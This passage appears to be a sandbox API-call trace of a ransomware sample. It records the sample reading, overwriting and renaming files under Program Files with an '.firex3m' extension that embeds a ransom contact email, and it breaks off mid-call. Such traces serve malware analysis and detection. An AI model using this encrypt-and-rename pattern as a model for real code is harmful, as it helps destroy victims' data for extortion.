ftLastWriteTime.dwHighDateTime=0x1d47c32, nFileSizeHigh=0x0, nFileSizeLow=0x9e413, dwReserved0=0x320031, dwReserved1=0x5b005f, cFileName="WHTGTXT.SHX.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="WHTGTX~1.FIR")) returned 0x6d5200 [0211.184] FindClose (in: hFindFile=0x6d5200 | out: hFindFile=0x6d5200) returned 1 [0211.184] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\Visio Shared\\Fonts\\WHTGTXT.SHX.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\visio shared\\fonts\\whtgtxt.shx.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6e8 [0211.184] GetProcessHeap () returned 0x630000 [0211.184] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x7377158 [0211.184] GetProcessHeap () returned 0x630000 [0211.184] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x7382588 [0211.184] SetFilePointerEx (in: hFile=0x6e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0211.184] ReadFile (in: hFile=0x6e8, lpBuffer=0x7377158, nNumberOfBytesToRead=0xb400, lpNumberOfBytesRead=0x2ffff0c, lpOverlapped=0x0 | out: lpBuffer=0x7377158*, lpNumberOfBytesRead=0x2ffff0c*=0xb400, lpOverlapped=0x0) returned 1 [0219.735] GetProcessHeap () returned 0x630000 [0219.735] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x7318210 [0219.735] SetFilePointerEx (in: hFile=0x6e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0219.736] WriteFile (in: hFile=0x6e8, lpBuffer=0x7382588*, nNumberOfBytesToWrite=0xb400, lpNumberOfBytesWritten=0x2ffff0c, lpOverlapped=0x0 | out: lpBuffer=0x7382588*, lpNumberOfBytesWritten=0x2ffff0c*=0xb400, lpOverlapped=0x0) returned 1 [0219.736] SetFilePointerEx (in: hFile=0x6e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0219.736] WriteFile (in: hFile=0x6e8, lpBuffer=0x738d987*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x2ffff0c, lpOverlapped=0x0 | out: lpBuffer=0x738d987*, lpNumberOfBytesWritten=0x2ffff0c*=0x20, lpOverlapped=0x0) returned 1 [0219.753] SetFilePointerEx (in: hFile=0x6e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0219.753] WriteFile (in: hFile=0x6e8, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2ffff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x2ffff0c*=0x4, lpOverlapped=0x0) returned 1 [0219.753] CloseHandle (hObject=0x6e8) returned 1 [0219.753] GetProcessHeap () returned 0x630000 [0219.753] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7382588 | out: hHeap=0x630000) returned 1 [0219.753] GetProcessHeap () returned 0x630000 [0219.753] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7377158 | out: hHeap=0x630000) returned 1 [0219.753] GetProcessHeap () returned 0x630000 [0219.753] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7318210 | out: hHeap=0x630000) returned 1 [0219.753] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x2ffef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0219.754] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\Visio Shared\\Fonts\\WHTGTXT.SHX.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x2fffcc4 | out: lpFindFileData=0x2fffcc4*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x5f6e784, ftCreationTime.dwHighDateTime=0x1d47c32, ftLastAccessTime.dwLowDateTime=0x5f6e784, ftLastAccessTime.dwHighDateTime=0x1d47c32, ftLastWriteTime.dwLowDateTime=0x48ee33ee, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x9e437, dwReserved0=0xdd07496, dwReserved1=0x7377150, cFileName="WHTGTXT.SHX.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="WHTGTX~1.FIR")) returned 0x6d5400 [0219.754] FindClose (in: hFindFile=0x6d5400 | out: hFindFile=0x6d5400) returned 1 [0219.754] Sleep (dwMilliseconds=0x1) [0219.760] SysReAllocStringLen (in: pbstr=0x2ffff7c*=0x0, psz="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\fr-FR\\toastreviewsettings.xml", len=0x7c | out: pbstr=0x2ffff7c*="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\fr-FR\\toastreviewsettings.xml") returned 1 [0219.760] GetProcessHeap () returned 0x630000 [0219.760] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x50bc) returned 0x6fe3bb0 [0219.760] CreateFileW (lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\fr-FR\\toastreviewsettings.xml" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\fr-fr\\toastreviewsettings.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6e8 [0219.761] CloseHandle (hObject=0x6e8) returned 1 [0219.761] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x2ffef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0219.761] MoveFileW (lpExistingFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\fr-FR\\toastreviewsettings.xml" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\fr-fr\\toastreviewsettings.xml"), lpNewFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\fr-FR\\toastreviewsettings.xml.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\fr-fr\\toastreviewsettings.xml.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0219.762] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x2ffef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0219.762] FindFirstFileW (in: lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\fr-FR\\toastreviewsettings.xml.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x2fffc6c | out: lpFindFileData=0x2fffc6c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f2ef892, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8f2ef892, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x4c4a7800, ftLastWriteTime.dwHighDateTime=0x1d2db6e, nFileSizeHigh=0x0, nFileSizeLow=0x1b3, dwReserved0=0x69002e, dwReserved1=0x2d0064, cFileName="toastreviewsettings.xml.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="TOASTR~1.FIR")) returned 0x6d4e40 [0219.762] FindClose (in: hFindFile=0x6d4e40 | out: hFindFile=0x6d4e40) returned 1 [0219.762] CreateFileW (lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\fr-FR\\toastreviewsettings.xml.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\fr-fr\\toastreviewsettings.xml.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6e8 [0219.762] GetProcessHeap () returned 0x630000 [0219.762] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x1c1) returned 0x74aa618 [0219.762] GetProcessHeap () returned 0x630000 [0219.762] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x1c1) returned 0x74aa090 [0219.762] SetFilePointerEx (in: hFile=0x6e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0219.762] ReadFile (in: hFile=0x6e8, lpBuffer=0x74aa618, nNumberOfBytesToRead=0x1a0, lpNumberOfBytesRead=0x2ffff0c, lpOverlapped=0x0 | out: lpBuffer=0x74aa618*, lpNumberOfBytesRead=0x2ffff0c*=0x1a0, lpOverlapped=0x0) returned 1 [0219.765] GetProcessHeap () returned 0x630000 [0219.765] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x73180f8 [0219.765] SetFilePointerEx (in: hFile=0x6e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0219.765] WriteFile (in: hFile=0x6e8, lpBuffer=0x74aa090*, nNumberOfBytesToWrite=0x1a0, lpNumberOfBytesWritten=0x2ffff0c, lpOverlapped=0x0 | out: lpBuffer=0x74aa090*, lpNumberOfBytesWritten=0x2ffff0c*=0x1a0, lpOverlapped=0x0) returned 1 [0219.765] SetFilePointerEx (in: hFile=0x6e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0219.765] WriteFile (in: hFile=0x6e8, lpBuffer=0x74aa22f*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x2ffff0c, lpOverlapped=0x0 | out: lpBuffer=0x74aa22f*, lpNumberOfBytesWritten=0x2ffff0c*=0x20, lpOverlapped=0x0) returned 1 [0219.765] SetFilePointerEx (in: hFile=0x6e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0219.765] WriteFile (in: hFile=0x6e8, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2ffff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x2ffff0c*=0x4, lpOverlapped=0x0) returned 1 [0219.766] CloseHandle (hObject=0x6e8) returned 1 [0219.766] GetProcessHeap () returned 0x630000 [0219.766] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x74aa090 | out: hHeap=0x630000) returned 1 [0219.766] GetProcessHeap () returned 0x630000 [0219.766] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x74aa618 | out: hHeap=0x630000) returned 1 [0219.766] GetProcessHeap () returned 0x630000 [0219.766] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x73180f8 | out: hHeap=0x630000) returned 1 [0219.766] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x2ffef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0219.766] FindFirstFileW (in: lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\fr-FR\\toastreviewsettings.xml.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x2fffcc4 | out: lpFindFileData=0x2fffcc4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f2ef892, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8f2ef892, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x48f095da, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x1d7, dwReserved0=0x2fffd20, dwReserved1=0x74aa618, cFileName="toastreviewsettings.xml.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="TOASTR~1.FIR")) returned 0x6d51c0 [0219.766] FindClose (in: hFindFile=0x6d51c0 | out: hFindFile=0x6d51c0) returned 1 [0219.766] Sleep (dwMilliseconds=0x1) [0219.776] SysReAllocStringLen (in: pbstr=0x2ffff7c*=0x0, psz="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\fr-FR\\toastbeginupgradeth2.xml", len=0x7d | out: pbstr=0x2ffff7c*="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\fr-FR\\toastbeginupgradeth2.xml") returned 1 [0219.776] GetProcessHeap () returned 0x630000 [0219.776] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x50b8) returned 0x6fe3bb0 [0219.776] CreateFileW (lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\fr-FR\\toastbeginupgradeth2.xml" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\fr-fr\\toastbeginupgradeth2.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6e8 [0219.776] CloseHandle (hObject=0x6e8) returned 1 [0219.777] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x2ffef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0219.777] MoveFileW (lpExistingFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\fr-FR\\toastbeginupgradeth2.xml" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\fr-fr\\toastbeginupgradeth2.xml"), lpNewFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\fr-FR\\toastbeginupgradeth2.xml.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\fr-fr\\toastbeginupgradeth2.xml.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0219.777] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x2ffef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0219.778] FindFirstFileW (in: lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\fr-FR\\toastbeginupgradeth2.xml.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x2fffc6c | out: lpFindFileData=0x2fffc6c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f2ef892, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8f2ef892, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x6e978800, ftLastWriteTime.dwHighDateTime=0x1d2d919, nFileSizeHigh=0x0, nFileSizeLow=0x19f, dwReserved0=0x2e006c, dwReserved1=0x640069, cFileName="toastbeginupgradeth2.xml.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="TOASTB~1.FIR")) returned 0x6d5040 [0219.778] FindClose (in: hFindFile=0x6d5040 | out: hFindFile=0x6d5040) returned 1 [0219.778] CreateFileW (lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\fr-FR\\toastbeginupgradeth2.xml.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\fr-fr\\toastbeginupgradeth2.xml.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6e8 [0219.778] GetProcessHeap () returned 0x630000 [0219.778] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x1a1) returned 0x6860c8 [0219.778] GetProcessHeap () returned 0x630000 [0219.778] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x1a1) returned 0x66cad0 [0219.778] SetFilePointerEx (in: hFile=0x6e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0219.778] ReadFile (in: hFile=0x6e8, lpBuffer=0x6860c8, nNumberOfBytesToRead=0x180, lpNumberOfBytesRead=0x2ffff0c, lpOverlapped=0x0 | out: lpBuffer=0x6860c8*, lpNumberOfBytesRead=0x2ffff0c*=0x180, lpOverlapped=0x0) returned 1 [0219.780] GetProcessHeap () returned 0x630000 [0219.780] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x7317ec8 [0219.780] SetFilePointerEx (in: hFile=0x6e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0219.781] WriteFile (in: hFile=0x6e8, lpBuffer=0x66cad0*, nNumberOfBytesToWrite=0x180, lpNumberOfBytesWritten=0x2ffff0c, lpOverlapped=0x0 | out: lpBuffer=0x66cad0*, lpNumberOfBytesWritten=0x2ffff0c*=0x180, lpOverlapped=0x0) returned 1 [0219.781] SetFilePointerEx (in: hFile=0x6e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0219.781] WriteFile (in: hFile=0x6e8, lpBuffer=0x66cc4f*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x2ffff0c, lpOverlapped=0x0 | out: lpBuffer=0x66cc4f*, lpNumberOfBytesWritten=0x2ffff0c*=0x20, lpOverlapped=0x0) returned 1 [0219.781] SetFilePointerEx (in: hFile=0x6e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0219.781] WriteFile (in: hFile=0x6e8, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2ffff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x2ffff0c*=0x4, lpOverlapped=0x0) returned 1 [0219.781] CloseHandle (hObject=0x6e8) returned 1 [0219.781] GetProcessHeap () returned 0x630000 [0219.781] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x66cad0 | out: hHeap=0x630000) returned 1 [0219.781] GetProcessHeap () returned 0x630000 [0219.781] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6860c8 | out: hHeap=0x630000) returned 1 [0219.781] GetProcessHeap () returned 0x630000 [0219.781] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7317ec8 | out: hHeap=0x630000) returned 1 [0219.781] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x2ffef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0219.782] FindFirstFileW (in: lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\fr-FR\\toastbeginupgradeth2.xml.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x2fffcc4 | out: lpFindFileData=0x2fffcc4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f2ef892, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8f2ef892, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x48f2f886, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x1c3, dwReserved0=0xdd07496, dwReserved1=0x6860c0, cFileName="toastbeginupgradeth2.xml.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="TOASTB~1.FIR")) returned 0x6d54c0 [0219.782] FindClose (in: hFindFile=0x6d54c0 | out: hFindFile=0x6d54c0) returned 1 [0219.782] Sleep (dwMilliseconds=0x1) [0219.791] SysReAllocStringLen (in: pbstr=0x2ffff7c*=0x0, psz="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\fr-FR\\toastbeginupgrade.xml", len=0x7a | out: pbstr=0x2ffff7c*="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\fr-FR\\toastbeginupgrade.xml") returned 1 [0219.791] GetProcessHeap () returned 0x630000 [0219.791] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x50b4) returned 0x6fe3bb0 [0219.791] CreateFileW (lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\fr-FR\\toastbeginupgrade.xml" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\fr-fr\\toastbeginupgrade.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6e8 [0219.792] CloseHandle (hObject=0x6e8) returned 1 [0219.792] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x2ffef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0219.792] MoveFileW (lpExistingFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\fr-FR\\toastbeginupgrade.xml" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\fr-fr\\toastbeginupgrade.xml"), lpNewFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\fr-FR\\toastbeginupgrade.xml.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\fr-fr\\toastbeginupgrade.xml.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0219.793] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x2ffef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0219.793] FindFirstFileW (in: lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\fr-FR\\toastbeginupgrade.xml.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x2fffc6c | out: lpFindFileData=0x2fffc6c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f2ef892, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8f2ef892, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x18026100, ftLastWriteTime.dwHighDateTime=0x1d2c3e2, nFileSizeHigh=0x0, nFileSizeLow=0x258, dwReserved0=0x2d0064, dwReserved1=0x390031, cFileName="toastbeginupgrade.xml.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="TOASTB~2.FIR")) returned 0x6d54c0 [0219.793] FindClose (in: hFindFile=0x6d54c0 | out: hFindFile=0x6d54c0) returned 1 [0219.793] CreateFileW (lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\fr-FR\\toastbeginupgrade.xml.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\fr-fr\\toastbeginupgrade.xml.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6e8 [0219.793] GetProcessHeap () returned 0x630000 [0219.793] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x261) returned 0x6d77d8 [0219.793] GetProcessHeap () returned 0x630000 [0219.793] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x261) returned 0x6d7550 [0219.793] SetFilePointerEx (in: hFile=0x6e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0219.793] ReadFile (in: hFile=0x6e8, lpBuffer=0x6d77d8, nNumberOfBytesToRead=0x240, lpNumberOfBytesRead=0x2ffff0c, lpOverlapped=0x0 | out: lpBuffer=0x6d77d8*, lpNumberOfBytesRead=0x2ffff0c*=0x240, lpOverlapped=0x0) returned 1 [0219.797] GetProcessHeap () returned 0x630000 [0219.797] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x7317720 [0219.797] SetFilePointerEx (in: hFile=0x6e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0219.797] WriteFile (in: hFile=0x6e8, lpBuffer=0x6d7550*, nNumberOfBytesToWrite=0x240, lpNumberOfBytesWritten=0x2ffff0c, lpOverlapped=0x0 | out: lpBuffer=0x6d7550*, lpNumberOfBytesWritten=0x2ffff0c*=0x240, lpOverlapped=0x0) returned 1 [0219.797] SetFilePointerEx (in: hFile=0x6e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0219.797] WriteFile (in: hFile=0x6e8, lpBuffer=0x6d778f*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x2ffff0c, lpOverlapped=0x0 | out: lpBuffer=0x6d778f*, lpNumberOfBytesWritten=0x2ffff0c*=0x20, lpOverlapped=0x0) returned 1 [0219.797] SetFilePointerEx (in: hFile=0x6e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0219.797] WriteFile (in: hFile=0x6e8, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2ffff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x2ffff0c*=0x4, lpOverlapped=0x0) returned 1 [0219.797] CloseHandle (hObject=0x6e8) returned 1 [0219.798] GetProcessHeap () returned 0x630000 [0219.798] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6d7550 | out: hHeap=0x630000) returned 1 [0219.798] GetProcessHeap () returned 0x630000 [0219.798] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6d77d8 | out: hHeap=0x630000) returned 1 [0219.798] GetProcessHeap () returned 0x630000 [0219.798] HeapFree (in: hHeap=0x630000, dwFlags=0x0, 